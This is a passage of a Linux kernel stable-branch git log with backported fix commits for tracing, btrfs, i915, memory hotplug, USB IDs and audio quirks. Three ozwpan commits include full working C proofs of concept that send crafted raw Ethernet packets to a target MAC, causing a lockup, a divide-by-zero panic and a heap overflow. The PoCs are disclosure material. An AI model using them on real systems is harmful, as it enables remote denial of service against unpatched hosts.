events/ext4/ext4_truncate_exit/filter -bash: echo: write error: Invalid argument # cat events/ext4/ext4_truncate_exit/filter ((dev==1)blocks==2) ^ parse_error: No error ------------[ cut here ]------------ WARNING: CPU: 2 PID: 1223 at kernel/trace/trace_events_filter.c:1640 replace_preds+0x3c5/0x990() Modules linked in: bnep lockd grace bluetooth ... CPU: 3 PID: 1223 Comm: bash Tainted: G W 4.1.0-rc3-test+ #450 Hardware name: Hewlett-Packard HP Compaq Pro 6300 SFF/339A, BIOS K01 v02.05 05/07/2012 0000000000000668 ffff8800c106bc98 ffffffff816ed4f9 ffff88011ead0cf0 0000000000000000 ffff8800c106bcd8 ffffffff8107fb07 ffffffff8136b46c ffff8800c7d81d48 ffff8800d4c2bc00 ffff8800d4d4f920 00000000ffffffea Call Trace: [] dump_stack+0x4c/0x6e [] warn_slowpath_common+0x97/0xe0 [] ? _kstrtoull+0x2c/0x80 [] warn_slowpath_null+0x1a/0x20 [] replace_preds+0x3c5/0x990 [] create_filter+0x82/0xb0 [] apply_event_filter+0xd4/0x180 [] event_filter_write+0x8f/0x120 [] __vfs_write+0x28/0xe0 [] ? __sb_start_write+0x53/0xf0 [] ? security_file_permission+0x30/0xc0 [] vfs_write+0xb8/0x1b0 [] SyS_write+0x4f/0xb0 [] system_call_fastpath+0x12/0x6a ---[ end trace e11028bd95818dcd ]--- Worse yet, reading the error message (the filter again) it says that there was no error, when there clearly was. The issue is that the code that checks the input does not check for balanced ops. That is, having an op between a closed parenthesis and the next token. This would only cause a warning, and fail out before doing any real harm, but it should still not caues a warning, and the error reported should work: # cd /sys/kernel/debug/tracing # echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter -bash: echo: write error: Invalid argument # cat events/ext4/ext4_truncate_exit/filter ((dev==1)blocks==2) ^ parse_error: Meaningless filter expression And give no kernel warning. Link: http://lkml.kernel.org/r/20150615175025.7e809215@gandalf.local.home Cc: Peter Zijlstra Cc: Ingo Molnar Cc: Arnaldo Carvalho de Melo Reported-by: Vince Weaver Tested-by: Vince Weaver Signed-off-by: Steven Rostedt [ luis: backported to 3.16: - unconditionally decrement cnt as the OP_NOT logic was introduced only by e12c09cf3087 ("tracing: Add NOT to filtering logic") ] Signed-off-by: Luis Henriques Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1403b48010ff043adfa0fd676e8b2d936c6e4999 Author: Steve Cornelius Date: Mon Jun 15 16:52:59 2015 -0700 crypto: caam - fix RNG buffer cache alignment commit 412c98c1bef65fe7589f1300e93735d96130307c upstream. The hwrng output buffers (2) are cast inside of a a struct (caam_rng_ctx) allocated in one DMA-tagged region. While the kernel's heap allocator should place the overall struct on a cacheline aligned boundary, the 2 buffers contained within may not necessarily align. Consenquently, the ends of unaligned buffers may not fully flush, and if so, stale data will be left behind, resulting in small repeating patterns. This fix aligns the buffers inside the struct. Note that not all of the data inside caam_rng_ctx necessarily needs to be DMA-tagged, only the buffers themselves require this. However, a fix would incur the expense of error-handling bloat in the case of allocation failure. Signed-off-by: Steve Cornelius Signed-off-by: Victoria Milhoan Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5f5c7603e061183093a7a48d6951303d05bb7f7f Author: Greg Kroah-Hartman Date: Mon Jun 22 16:56:08 2015 -0700 Linux 3.10.81 Signed-off-by: Pranav Vashi commit 6571483102da741d859347321d7a5b621653867e Author: Jeff Mahoney Date: Fri Mar 20 14:02:09 2015 -0400 btrfs: cleanup orphans while looking up default subvolume commit 727b9784b6085c99c2f836bf4fcc2848dc9cf904 upstream. Orphans in the fs tree are cleaned up via open_ctree and subvolume orphans are cleaned via btrfs_lookup_dentry -- except when a default subvolume is in use. The name for the default subvolume uses a manual lookup that doesn't trigger orphan cleanup and needs to trigger it manually as well. This doesn't apply to the remount case since the subvolumes are cleaned up by walking the root radix tree. Signed-off-by: Jeff Mahoney Reviewed-by: David Sterba Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1a381382d49ded4a1a6d298a77a47f6a1246f094 Author: Chengyu Song Date: Tue Mar 24 18:12:56 2015 -0400 btrfs: incorrect handling for fiemap_fill_next_extent return commit 26e726afe01c1c82072cf23a5ed89ce25f39d9f2 upstream. fiemap_fill_next_extent returns 0 on success, -errno on error, 1 if this was the last extent that will fit in user array. If 1 is returned, the return value may eventually returned to user space, which should not happen, according to manpage of ioctl. Signed-off-by: Chengyu Song Reviewed-by: David Sterba Reviewed-by: Liu Bo Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0f1e3952ccd04ccf9097957088ce6d492dadb8f7 Author: Johannes Berg Date: Tue Jun 9 21:35:44 2015 +0200 cfg80211: wext: clear sinfo struct before calling driver commit 9c5a18a31b321f120efda412281bb9f610f84aa0 upstream. Until recently, mac80211 overwrote all the statistics it could provide when getting called, but it now relies on the struct having been zeroed by the caller. This was always the case in nl80211, but wext used a static struct which could even cause values from one device leak to another. Using a static struct is OK (as even documented in a comment) since the whole usage of this function and its return value is always locked under RTNL. Not clearing the struct for calling the driver has always been wrong though, since drivers were free to only fill values they could report, so calling this for one device and then for another would always have leaked values from one to the other. Fix this by initializing the structure in question before the driver method call. This fixes https://bugzilla.kernel.org/show_bug.cgi?id=99691 Reported-by: Gerrit Renker Reported-by: Alexander Kaltsas Signed-off-by: Johannes Berg Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b5915b841f7ddef054f52602254ac8d9d660106e Author: Gu Zheng Date: Wed Jun 10 11:14:43 2015 -0700 mm/memory_hotplug.c: set zone->wait_table to null after freeing it commit 85bd839983778fcd0c1c043327b14a046e979b39 upstream. Izumi found the following oops when hot re-adding a node: BUG: unable to handle kernel paging request at ffffc90008963690 IP: __wake_up_bit+0x20/0x70 Oops: 0000 [#1] SMP CPU: 68 PID: 1237 Comm: rs:main Q:Reg Not tainted 4.1.0-rc5 #80 Hardware name: FUJITSU PRIMEQUEST2800E/SB, BIOS PRIMEQUEST 2000 Series BIOS Version 1.87 04/28/2015 task: ffff880838df8000 ti: ffff880017b94000 task.ti: ffff880017b94000 RIP: 0010:[] [] __wake_up_bit+0x20/0x70 RSP: 0018:ffff880017b97be8 EFLAGS: 00010246 RAX: ffffc90008963690 RBX: 00000000003c0000 RCX: 000000000000a4c9 RDX: 0000000000000000 RSI: ffffea101bffd500 RDI: ffffc90008963648 RBP: ffff880017b97c08 R08: 0000000002000020 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: ffff8a0797c73800 R13: ffffea101bffd500 R14: 0000000000000001 R15: 00000000003c0000 FS: 00007fcc7ffff700(0000) GS:ffff880874800000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffffc90008963690 CR3: 0000000836761000 CR4: 00000000001407e0 Call Trace: unlock_page+0x6d/0x70 generic_write_end+0x53/0xb0 xfs_vm_write_end+0x29/0x80 [xfs] generic_perform_write+0x10a/0x1e0 xfs_file_buffered_aio_write+0x14d/0x3e0 [xfs] xfs_file_write_iter+0x79/0x120 [xfs] __vfs_write+0xd4/0x110 vfs_write+0xac/0x1c0 SyS_write+0x58/0xd0 system_call_fastpath+0x12/0x76 Code: 5d c3 66 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 48 83 ec 20 65 48 8b 04 25 28 00 00 00 48 89 45 f8 31 c0 48 8d 47 48 <48> 39 47 48 48 c7 45 e8 00 00 00 00 48 c7 45 f0 00 00 00 00 48 RIP [] __wake_up_bit+0x20/0x70 RSP CR2: ffffc90008963690 Reproduce method (re-add a node):: Hot-add nodeA --> remove nodeA --> hot-add nodeA (panic) This seems an use-after-free problem, and the root cause is zone->wait_table was not set to *NULL* after free it in try_offline_node. When hot re-add a node, we will reuse the pgdat of it, so does the zone struct, and when add pages to the target zone, it will init the zone first (including the wait_table) if the zone is not initialized. The judgement of zone initialized is based on zone->wait_table: static inline bool zone_is_initialized(struct zone *zone) { return !!zone->wait_table; } so if we do not set the zone->wait_table to *NULL* after free it, the memory hotplug routine will skip the init of new zone when hot re-add the node, and the wait_table still points to the freed memory, then we will access the invalid address when trying to wake up the waiting people after the i/o operation with the page is done, such as mentioned above. Signed-off-by: Gu Zheng Reported-by: Taku Izumi Reviewed by: Yasuaki Ishimatsu Cc: KAMEZAWA Hiroyuki Cc: Tang Chen Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c99ade80d864935a884498d544a669363f8f300c Author: Jani Nikula Date: Tue Jun 2 19:21:15 2015 +0300 drm/i915: Fix DDC probe for passive adapters commit 3f5f1554ee715639e78d9be87623ee82772537e0 upstream. Passive DP->DVI/HDMI dongles on DP++ ports show up to the system as HDMI devices, as they do not have a sink device in them to respond to any AUX traffic. When probing these dongles over the DDC, sometimes they will NAK the first attempt even though the transaction is valid and they support the DDC protocol. The retry loop inside of drm_do_probe_ddc_edid() would normally catch this case and try the transaction again, resulting in success. That, however, was thwarted by the fix for [1]: commit 9292f37e1f5c79400254dca46f83313488093825 Author: Eugeni Dodonov Date: Thu Jan 5 09:34:28 2012 -0200 drm: give up on edid retries when i2c bus is not responding This added code to exit immediately if the return code from the i2c_transfer function was -ENXIO in order to reduce the amount of time spent in waiting for unresponsive or disconnected devices. That was possible because the underlying i2c bit banging algorithm had retries of its own (which, of course, were part of the reason for the bug the commit fixes). Since its introduction in commit f899fc64cda8569d0529452aafc0da31c042df2e Author: Chris Wilson Date: Tue Jul 20 15:44:45 2010 -0700 drm/i915: use GMBUS to manage i2c links we've been flipping back and forth enabling the GMBUS transfers, but we've settled since then. The GMBUS implementation does not do any retries, however, bailing out of the drm_do_probe_ddc_edid() retry loop on first encounter of -ENXIO. This, combined with Eugeni's commit, broke the retry on -ENXIO. Retry GMBUS once on -ENXIO on first message to mitigate the issues with passive adapters. This patch is based on the work, and commit message, by Todd Previte . [1] https://bugs.freedesktop.org/show_bug.cgi?id=41059 v2: Don't retry if using bit banging. v3: Move retry within gmbux_xfer, retry only on first message. v4: Initialize GMBUS0 on retry (Ville). v5: Take index reads into account (Ville). Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=85924 Cc: Todd Previte Tested-by: Oliver Grafe (v2) Tested-by: Jim Bride Reviewed-by: Ville Syrjälä Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a02a75545f435106014a967737883940c37b83d9 Author: Aaro Koskinen Date: Mon Jun 8 11:32:43 2015 +0300 pata_octeon_cf: fix broken build commit 4710f2facb5c68d629015747bd09b37203e0d137 upstream. MODULE_DEVICE_TABLE is referring to wrong driver's table and breaks the build. Fix that. Signed-off-by: Aaro Koskinen Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f417f34c997266ff90c9cc62ac18462f2ab39223 Author: Jason A. Donenfeld Date: Fri May 29 13:07:01 2015 +0200 ozwpan: unchecked signed subtraction leads to DoS commit 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 upstream. The subtraction here was using a signed integer and did not have any bounds checking at all. This commit adds proper bounds checking, made easy by use of an unsigned integer. This way, a single packet won't be able to remotely trigger a massive loop, locking up the system for a considerable amount of time. A PoC follows below, which requires ozprotocol.h from this module. =-=-=-=-=-= #include #include #include #include #include #include #include #include #include #include #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) - 3 }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 1, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld Acked-by: Dan Carpenter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7257d66fa3457a4326ca9a2707c28f99b530ad1b Author: Jason A. Donenfeld Date: Fri May 29 13:07:00 2015 +0200 ozwpan: divide-by-zero leading to panic commit 04bf464a5dfd9ade0dda918e44366c2c61fce80b upstream. A network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module. =-=-=-=-=-= #include #include #include #include #include #include #include #include #include #include #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld Acked-by: Dan Carpenter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4b58e064ec5ae31e529af71b6cf0caffa9eefff4 Author: Jason A. Donenfeld Date: Fri May 29 13:06:58 2015 +0200 ozwpan: Use proper check to prevent heap overflow commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream. Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data. This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include #include #include #include #include #include #include #include #include #include #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) - 2 }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(0), .total_size = htole16(0), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld Acked-by: Dan Carpenter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0d19b2e6f85554df189c7b0934d75d93f6e41d2b Author: James Hogan Date: Thu Jun 4 13:25:27 2015 +0100 MIPS: Fix enabling of DEBUG_STACKOVERFLOW commit 5f35b9cd553fd64415b563497d05a563c988dbd6 upstream. Commit 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection") added kernel stack overflow detection, however it only enabled it conditional upon the preprocessor definition DEBUG_STACKOVERFLOW, which is never actually defined. The Kconfig option is called DEBUG_STACKOVERFLOW, which manifests to the preprocessor as CONFIG_DEBUG_STACKOVERFLOW, so switch it to using that definition instead. Fixes: 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection") Signed-off-by: James Hogan Cc: Ralf Baechle Cc: Adam Jiang Cc: linux-mips@linux-mips.org Patchwork: http://patchwork.linux-mips.org/patch/10531/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 984c05bb5d8a42fefe69ebcafee29373a5271a74 Author: Wang Long Date: Wed Jun 10 08:12:37 2015 +0000 ring-buffer-benchmark: Fix the wrong sched_priority of producer commit 108029323910c5dd1ef8fa2d10da1ce5fbce6e12 upstream. The producer should be used producer_fifo as its sched_priority, so correct it. Link: http://lkml.kernel.org/r/1433923957-67842-1-git-send-email-long.wanglong@huawei.com Signed-off-by: Wang Long Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0394a0aa3361b7dad6ef6a53f43e6d1189eb6420 Author: Patrick Riphagen Date: Tue May 19 10:03:01 2015 +0200 USB: serial: ftdi_sio: Add support for a Motion Tracker Development Board commit 1df5b888f54070a373a73b34488cc78c2365b7b4 upstream. This adds support for new Xsens device, Motion Tracker Development Board, using Xsens' own Vendor ID Signed-off-by: Patrick Riphagen Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 02857f0b546ce50b7ef3cd3b8490f6b96d04715a Author: John D. Blair Date: Thu Jun 4 13:18:19 2015 -0700 USB: cp210x: add ID for HubZ dual ZigBee and Z-Wave dongle commit df72d588c54dad57dabb3cc8a87475d8ed66d806 upstream. Added the USB serial device ID for the HubZ dual ZigBee and Z-Wave radio dongle. Signed-off-by: John D. Blair Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3ad3b0019f2066050d2a8a31b321af72e94c2634 Author: Dan Williams Date: Wed Jun 10 23:47:14 2015 -0400 block: fix ext_dev_lock lockdep report commit 4d66e5e9b6d720d8463e11d027bd4ad91c8b1318 upstream. ================================= [ INFO: inconsistent lock state ] 4.1.0-rc7+ #217 Tainted: G O --------------------------------- inconsistent {SOFTIRQ-ON-W} -> {IN-SOFTIRQ-W} usage. swapper/6/0 [HC0[0]:SC1[1]:HE1:SE0] takes: (ext_devt_lock){+.?...}, at: [] blk_free_devt+0x3c/0x70 {SOFTIRQ-ON-W} state was registered at: [] __lock_acquire+0x461/0x1e70 [] lock_acquire+0xb7/0x290 [] _raw_spin_lock+0x38/0x50 [] blk_alloc_devt+0x6d/0xd0 <-- take the lock in process context [..] [] __lock_acquire+0x3fe/0x1e70 [] ? __lock_acquire+0xe5d/0x1e70 [] lock_acquire+0xb7/0x290 [] ? blk_free_devt+0x3c/0x70 [] _raw_spin_lock+0x38/0x50 [] ? blk_free_devt+0x3c/0x70 [] blk_free_devt+0x3c/0x70 <-- take the lock in softirq [] part_release+0x1c/0x50 [] device_release+0x36/0xb0 [] kobject_cleanup+0x7b/0x1a0 [] kobject_put+0x30/0x70 [] put_device+0x17/0x20 [] delete_partition_rcu_cb+0x16c/0x180 [] ? read_dev_sector+0xa0/0xa0 [] rcu_process_callbacks+0x2ff/0xa90 [] ? rcu_process_callbacks+0x2bf/0xa90 [] __do_softirq+0xde/0x600 Neil sees this in his tests and it also triggers on pmem driver unbind for the libnvdimm tests. This fix is on top of an initial fix by Keith for incorrect usage of mutex_lock() in this path: 2da78092dda1 "block: Fix dev_t minor allocation lifetime". Both this and 2da78092dda1 are candidates for -stable. Fixes: 2da78092dda1 ("block: Fix dev_t minor allocation lifetime") Cc: Keith Busch Reported-by: NeilBrown Signed-off-by: Dan Williams Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit df6fef62d7fbbe59b006d95858bc0d1e533477b2 Author: Hans de Goede Date: Tue Jun 2 10:40:50 2015 -0700 Input: elantech - fix detection of touchpads where the revision matches a known rate commit 5f0ee9d17aae628b22be86966471db65be21f262 upstream. Make the check to skip the rate check more lax, so that it applies to all hw_version 4 models. This fixes the touchpad not being detected properly on Asus PU551LA laptops. Reported-and-tested-by: David Zafra Gómez Signed-off-by: Hans de Goede Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 39f6b3ed8c34dd2f6d4d2442a954c055845341c1 Author: Clemens Ladisch Date: Wed Jun 3 11:36:42 2015 +0200 ALSA: usb-audio: add MAYA44 USB+ mixer control names commit 044bddb9ca8d49edb91bc22b9940a463b0dbb97f upstream. Add mixer control names for the ESI Maya44 USB+ (which appears to be identical width the AudioTrak Maya44 USB). Reported-by: nightmixes Signed-off-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 006fef4fc786da21b18ad69189fa78aa88625874 Author: Wolfram Sang Date: Fri May 29 19:50:56 2015 +0900 ALSA: usb-audio: Add mic volume fix quirk for Logitech Quickcam Fusion commit 1ef9f0583514508bc93427106ceef3215e4eb1a5 upstream. Fix this from the logs: usb 7-1: New USB device found, idVendor=046d, idProduct=08ca ... usb 7-1: Warning! Unlikely big volume range (=3072), cval->res is probably wrong. usb 7-1: [5] FU [Mic Capture Volume] ch = 1, val = 4608/7680/1 Signed-off-by: Wolfram Sang Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5ce4c0c258f891821b6b9bfde561a654c04e07f7 Author: Takashi Iwai Date: Tue Jun 2 19:57:08 2015 +0200 ALSA: hda/realtek - Add a fixup for another Acer Aspire 9420 commit b5d724b1add6eabf3aa7276ab3454ea9f45eebd3 upstream. Acer Aspire 9420 with ALC883 (1025:0107) needs the fixup for EAPD to make the sound working like other Aspire models. Bugzilla: 